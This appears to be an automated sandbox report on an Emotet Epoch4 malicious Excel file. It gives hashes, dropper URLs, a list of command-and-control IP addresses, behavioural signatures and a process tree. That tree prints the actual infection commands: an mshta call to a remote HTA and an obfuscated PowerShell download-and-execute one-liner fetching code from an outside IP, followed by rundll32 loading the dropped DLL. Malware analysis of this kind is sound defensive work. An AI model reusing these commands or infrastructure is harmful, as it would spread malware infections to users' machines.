emotet | cdb3591c0938d792e88eeabb742cad87347271b11591070ebb6276fec726b3fb

Analysis

max time kernel
131s
max time network
161s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 18:36

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General

Target
tmpk12lxqx3.xls
Size 155KB
Sample220127-w8xdcshfg8
SHA256 cdb3591c0938d792e88eeabb742cad87347271b11591070ebb6276fec726b3fb
MD5 5df7013951338c904a77a5be8a3c5a07
SHA1 d2577136c27601f77497159b040758212f72bfc7
SHA512 c4f8f1c4701c503be58b6315913a2e36fdbd0fea18dca2d3f4c2927d9b6de88046d7232de4e4a5dbc9d2e0e82e93248782dbb53300ee33215a9c0d0b0ff6cce1
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3232	2692	cmd.exe	67

Blocklisted process makes network request 5 IoCs

flow	pid	Process
33	4028	mshta.exe
34	944	powershell.exe
36	944	powershell.exe
43	2672	rundll32.exe
45	2672	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3960	rundll32.exe
1968	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Hzxrchoguxx\dlaewztlosya.vlt	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1452	4028	WerFault.exe	73

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2692	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
944	powershell.exe
944	powershell.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
1452	WerFault.exe
944	powershell.exe
2672	rundll32.exe
2672	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	944	powershell.exe
Token: SeDebugPrivilege	1452	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE
2692	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 3232	2692	EXCEL.EXE	71
PID 2692 wrote to memory of 3232	2692	EXCEL.EXE	71
PID 3232 wrote to memory of 4028	3232	cmd.exe	73
PID 3232 wrote to memory of 4028	3232	cmd.exe	73
PID 4028 wrote to memory of 944	4028	mshta.exe	75
PID 4028 wrote to memory of 944	4028	mshta.exe	75
PID 944 wrote to memory of 1772	944	powershell.exe	78
PID 944 wrote to memory of 1772	944	powershell.exe	78
PID 1772 wrote to memory of 3960	1772	cmd.exe	79
PID 1772 wrote to memory of 3960	1772	cmd.exe	79
PID 1772 wrote to memory of 3960	1772	cmd.exe	79
PID 3960 wrote to memory of 1968	3960	rundll32.exe	80
PID 3960 wrote to memory of 1968	3960	rundll32.exe	80
PID 3960 wrote to memory of 1968	3960	rundll32.exe	80
PID 1968 wrote to memory of 3788	1968	rundll32.exe	81
PID 1968 wrote to memory of 3788	1968	rundll32.exe	81
PID 1968 wrote to memory of 3788	1968	rundll32.exe	81
PID 3788 wrote to memory of 2672	3788	rundll32.exe	82
PID 3788 wrote to memory of 2672	3788	rundll32.exe	82
PID 3788 wrote to memory of 2672	3788	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpk12lxqx3.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/zqqw/zaas/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:4028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:944
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1772
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3960
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1968
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hzxrchoguxx\dlaewztlosya.vlt",ZsQwUQVbf
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3788
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hzxrchoguxx\dlaewztlosya.vlt",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2672
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4028 -s 1644
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1452

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/944-315-0x000001D17C0C0000-0x000001D17C0FC000-memory.dmp

Download

memory/944-343-0x000001D17C5C0000-0x000001D17C636000-memory.dmp

Download

memory/944-602-0x000001D163E40000-0x000001D17BFC0000-memory.dmp

Download

memory/944-560-0x000001D163E40000-0x000001D17BFC0000-memory.dmp

Download

memory/944-287-0x000001D17BF40000-0x000001D17BF62000-memory.dmp

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memory/944-465-0x000001D163E40000-0x000001D17BFC0000-memory.dmp

Download

memory/1968-613-0x0000000004C00000-0x0000000004C25000-memory.dmp

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memory/1968-604-0x0000000000E80000-0x0000000000EA5000-memory.dmp

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memory/1968-611-0x0000000004BA0000-0x0000000004BC5000-memory.dmp

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memory/1968-615-0x0000000004C60000-0x0000000004C85000-memory.dmp

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memory/1968-617-0x0000000004E10000-0x0000000004E35000-memory.dmp

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memory/2672-644-0x0000000004D60000-0x0000000004D85000-memory.dmp

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memory/2672-642-0x0000000004B70000-0x0000000004B95000-memory.dmp

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memory/2672-646-0x0000000004DE0000-0x0000000004E05000-memory.dmp

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memory/2672-640-0x0000000004A70000-0x0000000004A95000-memory.dmp

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memory/2672-638-0x0000000004990000-0x00000000049B5000-memory.dmp

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memory/2672-631-0x00000000048B0000-0x00000000048D5000-memory.dmp

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memory/2672-625-0x00000000047D0000-0x00000000047F5000-memory.dmp

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memory/2672-621-0x0000000000680000-0x00000000006A5000-memory.dmp

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memory/2692-132-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmp

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memory/2692-121-0x00007FF879910000-0x00007FF879920000-memory.dmp

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memory/2692-120-0x00007FF879910000-0x00007FF879920000-memory.dmp

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memory/2692-130-0x00007FF879910000-0x00007FF879920000-memory.dmp

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memory/2692-131-0x00007FF8760E0000-0x00007FF8760F0000-memory.dmp

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memory/2692-118-0x00007FF879910000-0x00007FF879920000-memory.dmp

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memory/2692-119-0x00007FF879910000-0x00007FF879920000-memory.dmp

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memory/2692-675-0x00007FF879910000-0x00007FF879920000-memory.dmp

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memory/2692-678-0x00007FF879910000-0x00007FF879920000-memory.dmp

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memory/2692-677-0x00007FF879910000-0x00007FF879920000-memory.dmp

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memory/2692-676-0x00007FF879910000-0x00007FF879920000-memory.dmp

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memory/3960-600-0x0000000000830000-0x0000000000855000-memory.dmp

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